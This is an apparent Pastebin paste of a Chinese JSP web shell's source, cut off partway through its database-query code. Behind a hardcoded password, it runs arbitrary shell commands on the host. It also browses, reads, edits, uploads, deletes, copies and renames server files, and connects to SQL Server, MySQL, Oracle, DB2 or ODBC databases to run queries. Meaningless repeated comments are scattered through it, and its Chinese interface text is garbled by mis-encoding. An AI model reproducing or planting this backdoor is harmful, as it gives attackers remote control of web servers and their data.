Advertisement
Guest User

3563

a guest
Mar 12th, 2017
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 58.68 KB | None | 0 0
  1. <%@ page contentType="text/html; charset=GBK" %>
  2. <%@ page import="java.io.*"%>
  3. <%@ page import="java.util.Map"%>
  4. <%@ page import="java.util.HashMap"%>
  5. <%@ page import="java.nio.charset.Charset"%>
  6. <%@ page import="java.util.regex.*"%>
  7. <%@ page import="java.sql.*"%>
  8.  
  9. <%!
  10. //it's explame
  11. private String _password = "www.dlyymy.cn";
  12. private String _encodeType = "GB2312";
  13. private int _sessionOutTime = 20;
  14. private String[] _textFileTypes = {"txt", "htm", "html", "asp", "jsp", "java", "js", "css", "c", "cpp", "sh", "pl", "cgi", "php", "conf", "xml", "xsl", "ini", "vbs", "inc"};
  15. private Connection _dbConnection = null;
  16. private Statement _dbStatement = null;
  17. private String _url = null;
  18. //it's explame
  19. public boolean validate(String password) {
  20. if (password.equals(_password)) {
  21. return true;
  22. } else {
  23. return false;
  24. }
  25. }
  26. //it's explame
  27. public String HTMLEncode(String str) {
  28. str = str.replaceAll(" ", "&nbsp;");
  29. str = str.replaceAll("<", "&lt;");
  30. str = str.replaceAll(">", "&gt;");
  31. str = str.replaceAll("\r\n", "<br>");
  32.  
  33. return str;
  34. }
  35. //it's explame
  36. public String Unicode2GB(String str) {
  37. String sRet = null;
  38. //it's explame
  39. try {
  40. sRet = new String(str.getBytes("ISO8859_1"), _encodeType);
  41. } catch (Exception e) {
  42. sRet = str;
  43. }
  44.  
  45. return sRet;
  46. }
  47. //it's explame
  48. public String exeCmd(String cmd) {
  49. Runtime runtime = Runtime.getRuntime();
  50. Process proc = null;
  51. String retStr = "";
  52. InputStreamReader insReader = null;
  53. char[] tmpBuffer = new char[1024];
  54. int nRet = 0;
  55. //it's explame
  56. try {
  57. proc = runtime.exec(cmd);
  58. insReader = new InputStreamReader(proc.getInputStream(), Charset.forName("GB2312"));
  59.  
  60. while ((nRet = insReader.read(tmpBuffer, 0, 1024)) != -1) {
  61. retStr += new String(tmpBuffer, 0, nRet);
  62. }
  63. //it's explame
  64. insReader.close();
  65. retStr = HTMLEncode(retStr);
  66. } catch (Exception e) {
  67. retStr = "<font color=\"red\">bad command \"" + cmd + "\"</font>";
  68. } finally {
  69. return retStr;
  70. }
  71. }
  72. //it's explame
  73. public String pathConvert(String path) {
  74. String sRet = path.replace('\\', '/');
  75. File file = new File(path);
  76. //it's explame
  77. if (file.getParent() != null) {
  78. if (file.isDirectory()) {
  79. if (! sRet.endsWith("/"))
  80. sRet += "/";
  81. }
  82. } else {
  83. if (! sRet.endsWith("/"))
  84. sRet += "/";
  85. }
  86. //it's explame
  87. return sRet;
  88. }
  89.  
  90. public String strCut(String str, int len) {
  91. String sRet;
  92. //it's explame
  93. len -= 3;
  94.  
  95. if (str.getBytes().length <= len) {
  96. sRet = str;
  97. } else {
  98. try {
  99. sRet = (new String(str.getBytes(), 0, len, "GBK")) + "...";
  100. } catch (Exception e) {
  101. sRet = str;
  102. }
  103. }
  104.  
  105. return sRet;
  106. }
  107. //it's explame
  108. public String listFiles(String path, String curUri) {
  109. File[] files = null;
  110. File curFile = null;
  111. String sRet = null;
  112. int n = 0;
  113. boolean isRoot = path.equals("");
  114. //it's explame
  115. path = pathConvert(path);
  116.  
  117. try {
  118. if (isRoot) {
  119. files = File.listRoots();
  120. } else {
  121. try {
  122. curFile = new File(path);
  123. String[] sFiles = curFile.list();
  124. files = new File[sFiles.length];
  125.  
  126. for (n = 0; n < sFiles.length; n ++) {
  127. files[n] = new File(path + sFiles[n]);
  128. }
  129. } catch (Exception e) {
  130. sRet = "<font color=\"red\">bad path \"" + path + "\"</font>";
  131. }
  132. }
  133. //it's explame
  134. if (sRet == null) {
  135. sRet = "\n";
  136. sRet += "<script language=\"javascript\">\n";
  137. sRet += "var selectedFile = null;\n";
  138. sRet += "<!--\n";
  139. sRet += "function createFolder() {\n";
  140. sRet += " var folderName = prompt(\"ÇëÊäÈëĿ¼Ãû\", \"\");\n";
  141. sRet += " if (folderName != null && folderName != false && ltrim(folderName) != \"\") {\n";
  142. sRet += " window.location.href = \"" + curUri + "&curPath=" + path + "&fsAction=createFolder&folderName=\" + folderName + \"" + "\";\n";
  143. sRet += " }\n";
  144. sRet += "}\n";
  145. sRet += "\n";
  146. sRet += "function createFile() {\n";
  147. sRet += " var fileName = prompt(\"ÇëÊäÈëÎļþÃû\", \"\");\n";
  148. sRet += " if (fileName != null && fileName != false && ltrim(fileName) != \"\") {\n";
  149. sRet += " window.location.href = \"" + curUri + "&curPath=" + path + "&fsAction=createFile&fileName=\" + fileName + \"" + "\";\n";
  150. sRet += " }\n";
  151. sRet += "}\n";
  152. sRet += "\n";
  153. sRet += "function selectFile(obj) {\n";
  154. sRet += " if (selectedFile != null)\n";
  155. sRet += " selectedFile.style.backgroundColor = \"#FFFFFF\";\n";
  156. sRet += " selectedFile = obj;\n";
  157. sRet += " obj.style.backgroundColor = \"#CCCCCC\";\n";
  158. sRet += "}\n";
  159. sRet += "\n";
  160. sRet += "function change(obj) {\n";
  161. sRet += " if (selectedFile != obj)\n";
  162. sRet += " obj.style.backgroundColor = \"#CCCCCC\";\n";
  163. sRet += "}\n";
  164. sRet += "\n";
  165. sRet += "function restore(obj) {\n";
  166. sRet += " if (selectedFile != obj)\n";
  167. sRet += " obj.style.backgroundColor = \"#FFFFFF\";\n";
  168. sRet += "}\n";
  169. sRet += "\n";
  170. sRet += "function showUpload() {\n";
  171. sRet += " up.style.visibility = \"visible\";\n";
  172. sRet += "}\n";
  173. sRet += "\n";
  174. sRet += "function copyFile() {\n";
  175. sRet += " var toPath = prompt(\"ÇëÊäÈëÒª¸´ÖƵ½µÄĿ¼(¾ø¶Ô·¾¶)\", \"\");\n";
  176. sRet += " if (toPath != null && toPath != false && ltrim(toPath) != \"\") {\n";
  177. sRet += " document.fileList.action = \"" + curUri + "&curPath=" + path + "&fsAction=copyto&dstPath=" + "\" + toPath;\n";
  178. sRet += " document.fileList.submit();\n";
  179. sRet += " }\n";
  180. sRet += "}\n";
  181. sRet += "\n";
  182. sRet += "function rename() {\n";
  183. sRet += " var count = 0;\n";
  184. sRet += " var selected = -1;\n";
  185. sRet += " for (var i = 0; i < document.fileList.filesDelete.length; i ++) {\n";
  186. sRet += " if (document.fileList.filesDelete[i].checked) {\n";
  187. sRet += " count ++;\n";
  188. sRet += " selected = i;\n";
  189. sRet += " }\n";
  190. sRet += " }\n";
  191. sRet += " if (count > 1)\n";
  192. sRet += " alert(\"²»ÄÜÖØÃüÃû¶à¸öÎļþ\");\n";
  193. sRet += " else if (selected == -1)\n";
  194. sRet += " alert(\"ûÓÐÑ¡ÖÐÒªÖØÃüÃûµÄÎļþ\");\n";
  195. sRet += " else {\n";
  196. sRet += " var newName = prompt(\"ÇëÊäÈëÐÂÎļþÃû\", \"\");\n";
  197. sRet += " if (newName != null && newName != false && ltrim(newName) != \"\") {\n";
  198. sRet += " window.location.href = \"" + curUri + "&curPath=" + path + "&fsAction=rename&newName=\" + newName + \"&fileRename=\" + document.fileList.filesDelete[selected].value;";
  199. sRet += " }\n";
  200. sRet += " }\n";
  201. sRet += "}\n";
  202. sRet += "\n";
  203. sRet += "//-->\n";
  204. sRet += "</script>\n";
  205. sRet += "<table width=\"100%\" border=\"0\" cellpadding=\"2\" cellpadding=\"1\">\n";
  206. sRet += " <form enctype=\"multipart/form-data\" method=\"post\" name=\"upload\" action=\"" + curUri + "&curPath=" + path + "&fsAction=upload" + "\">\n";
  207. //it's explame
  208. if (curFile != null) {
  209. sRet += " <tr>\n";
  210. sRet += " <td colspan=\"4\" valign=\"middle\">\n";
  211. sRet += " &nbsp;<a href=\"" + curUri + "&curPath=" + (curFile.getParent() == null ? "" : pathConvert(curFile.getParent())) + "\">Éϼ¶Ä¿Â¼</a>&nbsp;";
  212. sRet += "<a href=\"#\" onclick=\"javascript:createFolder()\">´´½¨Ä¿Â¼</a>&nbsp;";
  213. sRet += "<a href=\"#\" onclick=\"javascript:createFile()\">н¨Îļþ</a>&nbsp;";
  214. sRet += "<a href=\"#\" onclick=\"javascript:document.fileList.submit();\">ɾ³ý</a>&nbsp;";
  215. sRet += "<a href=\"#\" onclick=\"javascript:copyFile()\">¸´ÖÆ</a>&nbsp;";
  216. sRet += "<a href=\"#\" onclick=\"javascript:rename()\">ÖØÃüÃû</a>&nbsp;";
  217. sRet += "<a href=\"#\" onclick=\"javascript:showUpload()\">ÉÏ´«Îļþ</a>\n";
  218. sRet += "<span style=\"visibility: hidden\" id=\"up\"><input type=\"file\" value=\"ÉÏ´«\" name=\"upFile\" size=\"8\" class=\"textbox\" />&nbsp;<input type=\"submit\" value=\"ÉÏ´«\" class=\"button\"></span>\n";
  219. sRet += " </td>\n";
  220. sRet += " </tr>\n";
  221. }
  222. //it's explame
  223. sRet += "</form>\n";
  224. //it's explame
  225. sRet += " <form name=\"fileList\" method=\"post\" action=\"" + curUri + "&curPath=" + path + "&fsAction=deleteFile" + "\">\n";
  226. //it's explame
  227. for (n = 0; n < files.length; n ++) {
  228. sRet += " <tr onclick=\"javascript: selectFile(this)\" onmouseover=\"javascript: change(this)\" onmouseout=\"javascript: restore(this)\" style=\"cursor:hand;\">\n";
  229. //it's explame
  230. if (! isRoot) {
  231. sRet += " <td width=\"5%\" align=\"center\"><input type=\"checkbox\" name=\"filesDelete\" value=\"" + pathConvert(files[n].getPath()) + "\" /></td>\n";
  232. if (files[n].isDirectory()) {
  233. sRet += " <td><a href=\"" + curUri + "&curPath=" + pathConvert(files[n].getPath()) + "\" title=\"" + files[n].getName() + "\">&lt;" + strCut(files[n].getName(), 50) + "&gt;</a></td>\n";
  234. } else {
  235. sRet += " <td><a title=\"" + files[n].getName() + "\">" + strCut(files[n].getName(), 50) + "</a></td>\n";
  236. }
  237.  
  238. sRet += " <td width=\"15%\" align=\"center\">" + (files[n].isDirectory() ? "&lt;dir&gt;" : "") + ((! files[n].isDirectory()) && isTextFile(getExtName(files[n].getPath())) ? "<<a href=\"" + curUri + "&curPath=" + pathConvert(files[n].getPath()) + "&fsAction=open" + "\">edit</a>>" : "") + "</td>\n";
  239. sRet += " <td width=\"15%\" align=\"center\">" + files[n].length() + "</td>\n";
  240. } else {
  241. sRet += " <td><a href=\"" + curUri + "&curPath=" + pathConvert(files[n].getPath()) + "\" title=\"" + files[n].getName() + "\">" + pathConvert(files[n].getPath()) + "</a></td>\n";
  242. }
  243.  
  244. sRet += " </tr>\n";
  245. }
  246. sRet += " </form>\n";
  247. sRet += "</table>\n";
  248. }
  249. } catch (SecurityException e) {
  250. sRet = "<font color=\"red\">security violation, no privilege.</font>";
  251. }
  252.  
  253. return sRet;
  254. }
  255.  
  256. public boolean isTextFile(String extName) {
  257. int i;
  258. boolean bRet = false;
  259.  
  260. if (! extName.equals("")) {
  261. for (i = 0; i < _textFileTypes.length; i ++) {
  262. if (extName.equals(_textFileTypes[i])) {
  263. bRet = true;
  264. break;
  265. }
  266. }
  267. } else {
  268. bRet = true;
  269. }
  270.  
  271. return bRet;
  272. }
  273.  
  274. public String getExtName(String fileName) {
  275. String sRet = "";
  276. int nLastDotPos;
  277. //it's explame
  278. fileName = pathConvert(fileName);
  279. //it's explame
  280. nLastDotPos = fileName.lastIndexOf(".");
  281.  
  282. if (nLastDotPos == -1) {
  283. sRet = "";
  284. } else {
  285. sRet = fileName.substring(nLastDotPos + 1);
  286. }
  287.  
  288. return sRet;
  289. }
  290.  
  291. public String browseFile(String path) {
  292. String sRet = "";
  293. File file = null;
  294. FileReader fileReader = null;
  295. //it's explame
  296. path = pathConvert(path);
  297. //it's explame
  298. try {
  299. file = new File(path);
  300. fileReader = new FileReader(file);
  301. String fileString = "";
  302. char[] chBuffer = new char[1024];
  303. int ret;
  304.  
  305. sRet = "<script language=\"javascript\">\n";
  306.  
  307. while ((ret = fileReader.read(chBuffer, 0, 1024)) != -1) {
  308. fileString += new String(chBuffer, 0, ret);
  309. }
  310.  
  311. sRet += "var wnd = window.open(\"about:blank\", \"_blank\", \"width=600, height=500\");\n";
  312. sRet += "var doc = wnd.document;\n";
  313. sRet += "doc.write(\"" + "aaa" + "\");\n";
  314. //it's explame
  315. sRet += "</script>\n";
  316. //it's explame
  317. } catch (IOException e) {
  318. sRet += "<script language=\"javascript\">\n";
  319. sRet += "alert(\"´ò¿ªÎļþ" + path + "ʧ°Ü\");\n";
  320. sRet += "</script>\n";
  321. }
  322.  
  323. return sRet;
  324. }
  325. //it's explame
  326. public String openFile(String path, String curUri) {
  327. String sRet = "";
  328. boolean canOpen = false;
  329. int nLastDotPos = path.lastIndexOf(".");
  330. String extName = "";
  331. String fileString = null;
  332. File curFile = null;
  333. //it's explame
  334. path = pathConvert(path);
  335. //it's explame
  336. if (nLastDotPos == -1) {
  337. canOpen = true;
  338. } else {
  339. extName = path.substring(nLastDotPos + 1);
  340. canOpen = isTextFile(extName);
  341. }
  342.  
  343. if (canOpen) {
  344. try {
  345. fileString = "";
  346. curFile = new File(path);
  347. FileReader fileReader = new FileReader(curFile);
  348. char[] chBuffer = new char[1024];
  349. int nRet;
  350.  
  351. while ((nRet = fileReader.read(chBuffer, 0, 1024)) != -1) {
  352. fileString += new String(chBuffer, 0, nRet);
  353. }
  354. //it's explame
  355. fileReader.close();
  356. } catch (IOException e) {
  357. fileString = null;
  358. sRet = "<font color=\"red\">²»ÄÜ´ò¿ªÎļþ\"" + path + "\"</font>";
  359. } catch (SecurityException e) {
  360. fileString = null;
  361. sRet = "<font color=\"red\">°²È«ÎÊÌ⣬ûÓÐȨÏÞÖ´ÐиòÙ×÷</font>";
  362. }
  363. } else {
  364. sRet = "<font color=\"red\">file \"" + path + "\" is not a text file, can't be opened in text mode</font>";
  365. }
  366.  
  367. if (fileString != null) {
  368. sRet += "<script language=\"javascript\">";
  369. sRet += "<!--\n";
  370. sRet += "function saveAs() {\n";
  371. sRet += " var fileName = prompt(\"ÇëÊäÈëÎļþÃû\", \"\");\n";
  372. sRet += " if (fileName != null && fileName != false && ltrim(fileName) != \"\") {\n";
  373. sRet += " document.openfile.action=\"" + curUri + "&curPath=" + pathConvert(curFile.getParent()) + "\" + fileName + \"&fsAction=saveAs\";\n";
  374. sRet += " document.openfile.submit();\n";
  375. sRet += " }\n";
  376. sRet += "}\n";
  377. sRet += "//-->\n";
  378. sRet += "</script>\n";
  379. sRet += "<table align=\"center\" width=\"100%\" cellpadding=\"2\" cellspacing=\"1\">\n";
  380. sRet += " <form name=\"openfile\" method=\"post\" action=\"" + curUri + "&curPath=" + path + "&fsAction=save" + "\">\n";
  381. sRet += " <tr>\n";
  382. sRet += " <td>[<a href=\"" + curUri + "&curPath=" + pathConvert(curFile.getParent()) + "\">Éϼ¶Ä¿Â¼</a>]</td>\n";
  383. sRet += " </tr>\n";
  384. sRet += " <tr>\n";
  385. sRet += " <td align=\"center\">\n";
  386. sRet += " <textarea name=\"fileContent\" cols=\"80\" rows=\"32\">\n";
  387. sRet += fileString;
  388. sRet += " </textarea>\n";
  389. sRet += " </td>\n";
  390. sRet += " </tr>\n";
  391. sRet += " <tr>\n";
  392. sRet += " <td align=\"center\"><input type=\"submit\" class=\"button\" value=\"±£´æ\" />&nbsp;<input type=\"button\" class=\"button\" value=\"Áí´æΪ\" onclick=\"javascript:saveAs()\" /></td>\n";
  393. sRet += " </tr>\n";
  394. sRet += " </form>\n";
  395. sRet += "</table>\n";
  396. }
  397.  
  398. return sRet;
  399. }
  400.  
  401. public String saveFile(String path, String curUri, String fileContent) {
  402. String sRet = "";
  403. File file = null;
  404.  
  405. path = pathConvert(path);
  406.  
  407. try {
  408. file = new File(path);
  409.  
  410. if (! file.canWrite()) {
  411. sRet = "<font color=\"red\">Îļþ²»¿Éд</font>";
  412. } else {
  413. FileWriter fileWriter = new FileWriter(file);
  414. fileWriter.write(fileContent);
  415.  
  416. fileWriter.close();
  417. sRet = "Îļþ±£´æ³É¹¦£¬ÕýÔÚ·µ»Ø£¬ÇëÉÔºò¡­¡­\n";
  418. sRet += "<meta http-equiv=\"refresh\" content=\"2;url=" + curUri + "&curPath=" + path + "&fsAction=open" + "\" />\n";
  419. }
  420. } catch (IOException e) {
  421. sRet = "<font color=\"red\">±£´æÎļþʧ°Ü</font>";
  422. } catch (SecurityException e) {
  423. sRet = "<font color=\"red\">°²È«ÎÊÌ⣬ûÓÐȨÏÞÖ´ÐиòÙ×÷</font>";
  424. }
  425.  
  426. return sRet;
  427. }
  428.  
  429. public String createFolder(String path, String curUri, String folderName) {
  430. String sRet = "";
  431. File folder = null;
  432.  
  433. path = pathConvert(path);
  434.  
  435. try {
  436. folder = new File(path + folderName);
  437.  
  438. if (folder.exists() && folder.isDirectory()) {
  439. sRet = "<font color=\"red\">\"" + path + folderName + "\"Ŀ¼ÒѾ­´æÔÚ</font>";
  440. } else {
  441. if (folder.mkdir()) {
  442. sRet = "³É¹¦´´½¨Ä¿Â¼\"" + pathConvert(folder.getPath()) + "\"£¬ÕýÔÚ·µ»Ø£¬ÇëÉÔºò¡­¡­\n";
  443. sRet += "<meta http-equiv=\"refresh\" content=\"2;url=" + curUri + "&curPath=" + path + folderName + "\" />";
  444. } else {
  445. sRet = "<font color=\"red\">´´½¨Ä¿Â¼\"" + folderName + "\"ʧ°Ü</font>";
  446. }
  447. }
  448. } catch (SecurityException e) {
  449. sRet = "<font color=\"red\">°²È«ÎÊÌ⣬ûÓÐȨÏÞÖ´ÐиòÙ×÷</font>";
  450. }
  451.  
  452. return sRet;
  453. }
  454.  
  455. public String createFile(String path, String curUri, String fileName) {
  456. String sRet = "";
  457. File file = null;
  458.  
  459. path = pathConvert(path);
  460.  
  461. try {
  462. file = new File(path + fileName);
  463.  
  464. if (file.createNewFile()) {
  465. sRet = "<meta http-equiv=\"refresh\" content=\"0;url=" + curUri + "&curPath=" + path + fileName + "&fsAction=open" + "\" />";
  466. } else {
  467. sRet = "<font color=\"red\">\"" + path + fileName + "\"ÎļþÒѾ­´æÔÚ</font>";
  468. }
  469. } catch (SecurityException e) {
  470. sRet = "<font color=\"red\">°²È«ÎÊÌ⣬ûÓÐȨÏÞÖ´ÐиòÙ×÷</font>";
  471. } catch (IOException e) {
  472. sRet = "<font color=\"red\">´´½¨Îļþ\"" + path + fileName + "\"ʧ°Ü</font>";
  473. }
  474.  
  475. return sRet;
  476. }
  477.  
  478. public String deleteFile(String path, String curUri, String[] files2Delete) {
  479. String sRet = "";
  480. File tmpFile = null;
  481.  
  482. try {
  483. for (int i = 0; i < files2Delete.length; i ++) {
  484. tmpFile = new File(files2Delete[i]);
  485. if (! tmpFile.delete()) {
  486. sRet += "<font color=\"red\">ɾ³ý\"" + files2Delete[i] + "\"ʧ°Ü</font><br>\n";
  487. }
  488. }
  489.  
  490. if (sRet.equals("")) {
  491. sRet = "ɾ³ý³É¹¦£¬ÕýÔÚ·µ»Ø£¬ÇëÉÔºò¡­¡­\n";
  492. sRet += "<meta http-equiv=\"refresh\" content=\"2;url=" + curUri + "&curPath=" + path + "\" />";
  493. }
  494. } catch (SecurityException e) {
  495. sRet = "<font color=\"red\">°²È«ÎÊÌ⣬ûÓÐȨÏÞÖ´ÐиòÙ×÷</font>\n";
  496. }
  497.  
  498. return sRet;
  499. }
  500.  
  501. public String saveAs(String path, String curUri, String fileContent) {
  502. String sRet = "";
  503. File file = null;
  504. FileWriter fileWriter = null;
  505.  
  506. try {
  507. file = new File(path);
  508.  
  509. if (file.createNewFile()) {
  510. fileWriter = new FileWriter(file);
  511. fileWriter.write(fileContent);
  512. fileWriter.close();
  513.  
  514. sRet = "<meta http-equiv=\"refresh\" content=\"0;url=" + curUri + "&curPath=" + path + "&fsAction=open" + "\" />";
  515. } else {
  516. sRet = "<font color=\"red\">Îļþ\"" + path + "\"ÒѾ­´æÔÚ</font>";
  517. }
  518. } catch (IOException e) {
  519. sRet = "<font color=\"red\">´´½¨Îļþ\"" + path + "\"ʧ°Ü</font>";
  520. }
  521.  
  522. return sRet;
  523. }
  524.  
  525.  
  526. public String uploadFile(ServletRequest request, String path, String curUri) {
  527. String sRet = "";
  528. File file = null;
  529. InputStream in = null;
  530.  
  531. path = pathConvert(path);
  532.  
  533. try {
  534. in = request.getInputStream();
  535.  
  536. byte[] inBytes = new byte[request.getContentLength()];
  537. int nBytes;
  538. int start = 0;
  539. int end = 0;
  540. int size = 1024;
  541. String token = null;
  542. String filePath = null;
  543.  
  544. //
  545. // °ÑÊäÈëÁ÷¶ÁÈëÒ»¸ö×Ö½ÚÊý×é
  546. //
  547. while ((nBytes = in.read(inBytes, start, size)) != -1) {
  548. start += nBytes;
  549. }
  550.  
  551. in.close();
  552. //
  553. // ´Ó×Ö½ÚÊý×éÖеõ½Îļþ·Ö¸ô·ûºÅ
  554. //
  555. int i = 0;
  556. byte[] seperator;
  557.  
  558. while (inBytes[i] != 13) {
  559. i ++;
  560. }
  561.  
  562. seperator = new byte[i];
  563.  
  564. for (i = 0; i < seperator.length; i ++) {
  565. seperator[i] = inBytes[i];
  566. }
  567.  
  568. //
  569. // µÃµ½Header²¿·Ö
  570. //
  571. String dataHeader = null;
  572. i += 3;
  573. start = i;
  574. while (! (inBytes[i] == 13 && inBytes[i + 2] == 13)) {
  575. i ++;
  576. }
  577. end = i - 1;
  578. dataHeader = new String(inBytes, start, end - start + 1);
  579.  
  580. //
  581. // µÃµ½ÎļþÃû
  582. //
  583. token = "filename=\"";
  584. start = dataHeader.indexOf(token) + token.length();
  585. token = "\"";
  586. end = dataHeader.indexOf(token, start) - 1;
  587. filePath = dataHeader.substring(start, end + 1);
  588. filePath = pathConvert(filePath);
  589. String fileName = filePath.substring(filePath.lastIndexOf("/") + 1);
  590.  
  591. //
  592. // µÃµ½ÎļþÄÚÈÝ¿ªÊ¼Î»ÖÃ
  593. //
  594. i += 4;
  595. start = i;
  596.  
  597. /*
  598. boolean found = true;
  599. byte[] tmp = new byte[seperator.length];
  600. while (i <= inBytes.length - 1 - seperator.length) {
  601.  
  602. for (int j = i; j < i + seperator.length; j ++) {
  603. if (seperator[j - i] != inBytes[j]) {
  604. found = false;
  605. break;
  606. } else
  607. tmp[j - i] = inBytes[j];
  608. }
  609.  
  610. if (found)
  611. break;
  612.  
  613. i ++;
  614. }*/
  615.  
  616. //
  617. // ͵ÀÁµÄ°ì·¨
  618. //
  619. end = inBytes.length - 1 - 2 - seperator.length - 2 - 2;
  620.  
  621. //
  622. // ±£´æΪÎļþ
  623. //
  624. File newFile = new File(path + fileName);
  625. newFile.createNewFile();
  626. FileOutputStream out = new FileOutputStream(newFile);
  627.  
  628. //out.write(inBytes, start, end - start + 1);
  629. out.write(inBytes, start, end - start + 1);
  630. out.close();
  631.  
  632. sRet = "<script language=\"javascript\">\n";
  633. sRet += "alert(\"ÎļþÉÏ´«³É¹¦" + fileName + "\");\n";
  634. sRet += "</script>\n";
  635. } catch (IOException e) {
  636. sRet = "<script language=\"javascript\">\n";
  637. sRet += "alert(\"ÎļþÉÏ´«Ê§°Ü\");\n";
  638. sRet += "</script>\n";
  639. }
  640.  
  641. sRet += "<meta http-equiv=\"refresh\" content=\"0;url=" + curUri + "&curPath=" + path + "\" />";
  642. return sRet;
  643. }
  644.  
  645. public boolean fileCopy(String srcPath, String dstPath) {
  646. boolean bRet = true;
  647.  
  648. try {
  649. FileInputStream in = new FileInputStream(new File(srcPath));
  650. FileOutputStream out = new FileOutputStream(new File(dstPath));
  651. byte[] buffer = new byte[1024];
  652. int nBytes;
  653.  
  654.  
  655. while ((nBytes = in.read(buffer, 0, 1024)) != -1) {
  656. out.write(buffer, 0, nBytes);
  657. }
  658.  
  659. in.close();
  660. out.close();
  661. } catch (IOException e) {
  662. bRet = false;
  663. }
  664.  
  665. return bRet;
  666. }
  667.  
  668. public String getFileNameByPath(String path) {
  669. String sRet = "";
  670.  
  671. path = pathConvert(path);
  672.  
  673. if (path.lastIndexOf("/") != -1) {
  674. sRet = path.substring(path.lastIndexOf("/") + 1);
  675. } else {
  676. sRet = path;
  677. }
  678.  
  679. return sRet;
  680. }
  681.  
  682. public String copyFiles(String path, String curUri, String[] files2Copy, String dstPath) {
  683. String sRet = "";
  684. int i;
  685.  
  686. path = pathConvert(path);
  687. dstPath = pathConvert(dstPath);
  688.  
  689. for (i = 0; i < files2Copy.length; i ++) {
  690. if (! fileCopy(files2Copy[i], dstPath + getFileNameByPath(files2Copy[i]))) {
  691. sRet += "<font color=\"red\">Îļþ\"" + files2Copy[i] + "\"¸´ÖÆʧ°Ü</font><br/>";
  692. }
  693. }
  694.  
  695. if (sRet.equals("")) {
  696. sRet = "Îļþ¸´ÖƳɹ¦£¬ÕýÔÚ·µ»Ø£¬ÇëÉÔºò¡­¡­";
  697. sRet += "<meta http-equiv=\"refresh\" content=\"2;url=" + curUri + "&curPath=" + path + "\" />";
  698. }
  699.  
  700. return sRet;
  701. }
  702.  
  703. public boolean isFileName(String fileName) {
  704. boolean bRet = false;
  705.  
  706. Pattern p = Pattern.compile("^[a-zA-Z0-9][\\w\\.]*[\\w]$");
  707. Matcher m = p.matcher(fileName);
  708.  
  709. bRet = m.matches();
  710.  
  711. return bRet;
  712. }
  713.  
  714. public String renameFile(String path, String curUri, String file2Rename, String newName) {
  715. String sRet = "";
  716.  
  717. path = pathConvert(path);
  718. file2Rename = pathConvert(file2Rename);
  719.  
  720. try {
  721. File file = new File(file2Rename);
  722.  
  723. newName = file2Rename.substring(0, file2Rename.lastIndexOf("/") + 1) + newName;
  724. File newFile = new File(newName);
  725.  
  726. if (! file.exists()) {
  727. sRet = "<font color=\"red\">Îļþ\"" + file2Rename + "\"²»´æÔÚ</font>";
  728. } else {
  729. file.renameTo(newFile);
  730. sRet = "ÎļþÖØÃüÃû³É¹¦£¬ÕýÔÚ·µ»Ø£¬ÇëÉÔºò¡­¡­";
  731. sRet += "<meta http-equiv=\"refresh\" content=\"2;url=" + curUri + "&curPath=" + path + "\" />";
  732. }
  733. } catch (SecurityException e) {
  734. sRet = "<font color=\"red\">°²È«ÎÊÌâµ¼ÖÂÎļþ\"" + file2Rename + "\"¸´ÖÆʧ°Ü</font>";
  735. }
  736.  
  737. return sRet;
  738. }
  739.  
  740. public boolean DBInit(String dbType, String dbServer, String dbPort, String dbUsername, String dbPassword, String dbName) {
  741. boolean bRet = true;
  742. String driverName = "";
  743.  
  744. if (dbServer.equals(""))
  745. dbServer = "localhost";
  746.  
  747. try {
  748. if (dbType.equals("sqlserver")) {
  749. driverName = "com.microsoft.jdbc.sqlserver.SQLServerDriver";
  750. if (dbPort.equals(""))
  751. dbPort = "1433";
  752. _url = "jdbc:microsoft:sqlserver://" + dbServer + ":" + dbPort + ";User=" + dbUsername + ";Password=" + dbPassword + ";DatabaseName=" + dbName;
  753. } else if (dbType.equals("mysql")) {
  754. driverName = "com.mysql.jdbc.Driver";
  755. if (dbPort.equals(""))
  756. dbPort = "3306";
  757. _url = "jdbc:mysql://" + dbServer + ":" + dbPort + ";User=" + dbUsername + ";Password=" + dbPassword + ";DatabaseName=" + dbName;
  758. } else if (dbType.equals("odbc")) {
  759. driverName = "sun.jdbc.odbc.JdbcOdbcDriver";
  760. _url = "jdbc:odbc:dsn=" + dbName + ";User=" + dbUsername + ";Password=" + dbPassword;
  761. } else if (dbType.equals("oracle")) {
  762. driverName = "oracle.jdbc.driver.OracleDriver";
  763. _url = "jdbc:oracle:thin@" + dbServer + ":" + dbPort + ":" + dbName;
  764. } else if (dbType.equals("db2")) {
  765. driverName = "com.ibm.db2.jdbc.app.DB2Driver";
  766. _url = "jdbc:db2://" + dbServer + ":" + dbPort + "/" + dbName;
  767. }
  768.  
  769. Class.forName(driverName);
  770. } catch (ClassNotFoundException e) {
  771. bRet = false;
  772. }
  773.  
  774. return bRet;
  775. }
  776.  
  777. public boolean DBConnect(String User, String Password) {
  778. boolean bRet = false;
  779.  
  780. if (_url != null) {
  781. try {
  782. _dbConnection = DriverManager.getConnection(_url, User, Password);
  783. _dbStatement = _dbConnection.createStatement();
  784. bRet = true;
  785. } catch (SQLException e) {
  786. bRet = false;
  787. }
  788. }
  789.  
  790. return bRet;
  791. }
  792.  
  793. public String DBExecute(String sql) {
  794. String sRet = "";
  795.  
  796. if (_dbConnection == null || _dbStatement == null) {
  797. sRet = "<font color=\"red\">Êý¾Ý¿âûÓÐÕý³£Á¬½Ó</font>";
  798. } else {
  799. try {
  800. if (sql.toLowerCase().substring(0, 6).equals("select")) {
  801. ResultSet rs = _dbStatement.executeQuery(sql);
  802. ResultSetMetaData rsmd = rs.getMetaData();
  803. int colNum = rsmd.getColumnCount();
  804. int colType;
  805.  
  806. sRet = "sqlÓï¾äÖ´Ðгɹ¦£¬·µ»Ø½á¹û<br>\n";
  807. sRet += "<table align=\"center\" border=\"0\" bgcolor=\"#CCCCCC\" cellpadding=\"2\" cellspacing=\"1\">\n";
  808. sRet += " <tr bgcolor=\"#FFFFFF\">\n";
  809. for (int i = 1; i <= colNum; i ++) {
  810. sRet += " <th>" + rsmd.getColumnName(i) + "(" + rsmd.getColumnTypeName(i) + ")</th>\n";
  811. }
  812. sRet += " </tr>\n";
  813. while (rs.next()) {
  814. sRet += " <tr bgcolor=\"#FFFFFF\">\n";
  815. for (int i = 1; i <= colNum; i ++) {
  816. colType = rsmd.getColumnType(i);
  817.  
  818. sRet += " <td>";
  819. switch (colType) {
  820. case Types.BIGINT:
  821. sRet += rs.getLong(i);
  822. break;
  823.  
  824. case Types.BIT:
  825. sRet += rs.getBoolean(i);
  826. break;
  827.  
  828. case Types.BOOLEAN:
  829. sRet += rs.getBoolean(i);
  830. break;
  831.  
  832. case Types.CHAR:
  833. sRet += rs.getString(i);
  834. break;
